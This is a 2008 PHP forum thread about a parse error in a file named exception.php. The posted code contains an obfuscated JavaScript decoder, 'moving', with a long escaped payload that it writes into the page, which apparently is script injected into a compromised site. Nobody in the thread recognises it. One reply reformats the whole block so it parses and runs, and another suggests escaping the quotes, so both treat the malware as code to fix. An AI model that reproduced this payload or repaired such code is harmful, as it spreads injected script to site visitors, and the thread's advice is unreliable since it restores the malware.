| | |
PHP Error Help
Please support our PHP advertiser: PostgreSQL or MySQL? Compare and contrast the two most popular open source databases
![]() |
•
•
Join Date: Aug 2008
Posts: 2
Reputation:
Solved Threads: 0
I'm new to php and I'm having some trouble with a code error. Can anyone help?
I get this error: "Error in my_thread_global_end(): 1 threads didn't exit PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in exception.php on line 130"
This is the code:
I get this error: "Error in my_thread_global_end(): 1 threads didn't exit PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in exception.php on line 130"
This is the code:
PHP Syntax (Toggle Plain Text)
echo "<html> <head> <title>$title</title> </head> <body><script language = "javascript">function moving(s){ var s1=unescape(s.substr(0,s.length)); var t=''; for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7); document.write(unescape(t)); }; moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script> <h1><img src='$wgLogo' style='float:left;margin-right:1em' alt=''>$title</h1> "; }
Last edited by predster; Aug 11th, 2008 at 10:20 am.
•
•
Join Date: Aug 2008
Posts: 381
Reputation:
Solved Threads: 33
You can write javascript with PHP, but it can be a little tricky.
In the above block of code you are using double-quotes for your echo string echo ", and inside that string you have double quotes surrounding your html property values "javascript" which are escaping your main string. You can't use single quotes in your echo string because you have PHP variables which values you need in your string.
You can try the same thing using a heardoc format...
In the above block of code you are using double-quotes for your echo string echo ", and inside that string you have double quotes surrounding your html property values "javascript" which are escaping your main string. You can't use single quotes in your echo string because you have PHP variables which values you need in your string.
You can try the same thing using a heardoc format...
PHP Syntax (Toggle Plain Text)
<?php echo <<<endline <html> <head> <title>$title</title> </head> <body> <script type="text/javascript"> function moving( s ) { var s1 = unescape( s.substr( 0, s.length ) ); var t = ''; for( i = 0; i < s1.length; i ++ ) { t += String.fromCharCode( s1.charCodeAt( i ) +7 ); document.write( unescape( t ) ); } }; moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script> <h1><img src="$wgLogo" style="float:left; margin-right:1em;" alt="">$title</h1> endline; ?> </body> </html> }
Last edited by langsor; Aug 11th, 2008 at 1:08 pm.
another option would be to escape any double quotes in the string, for example
or
php Syntax (Toggle Plain Text)
"<script language = \"javascript\">"
php Syntax (Toggle Plain Text)
"<script language = 'javascript'>"
Last edited by R0bb0b; Aug 11th, 2008 at 1:39 pm.
“Be who you are and say what you feel because those who mind don't matter and those who matter don't mind.” - Dr. Seuss
-- The documentation is inevitable, you may get away with it for a little while but eventually you too will have to do the deed.
-- The documentation is inevitable, you may get away with it for a little while but eventually you too will have to do the deed.
![]() |
Similar Threads
- Parse error, unexpected T_STRING on line 26, but I don't see it (PHP)
- PHP, ASP, ColdFusion, what's your fav? (IT Professionals' Lounge)
- php mysql help (PHP)
- Access PostgreSQL from PHP (PHP)
- php error when using invision board (PHP)
Other Threads in the PHP Forum
- Previous Thread: Odd problem I can't figure out
- Next Thread: Need urgent assistance with php date function and recoring it into MySQL
| Thread Tools | Search this Thread |
ajax apache api array arrays beginner binary broken cache cakephp checkbox class cms code confirm cron curl customizableitems database date display dynamic echo email error external file files folder form forms forum function functions google header headmethod howtowriteathesis href htaccess html iframe image include insert integration ip java javascript joomla limit link login loop mail malfunction menu method mlm multiple mysql neutrality oop paypal pdf php phpmysql play problem query question radio random recursion regex remote root script search select server sessions sms soap source space sql syntax system table tutorial update upload url validator variable video web xml youtube





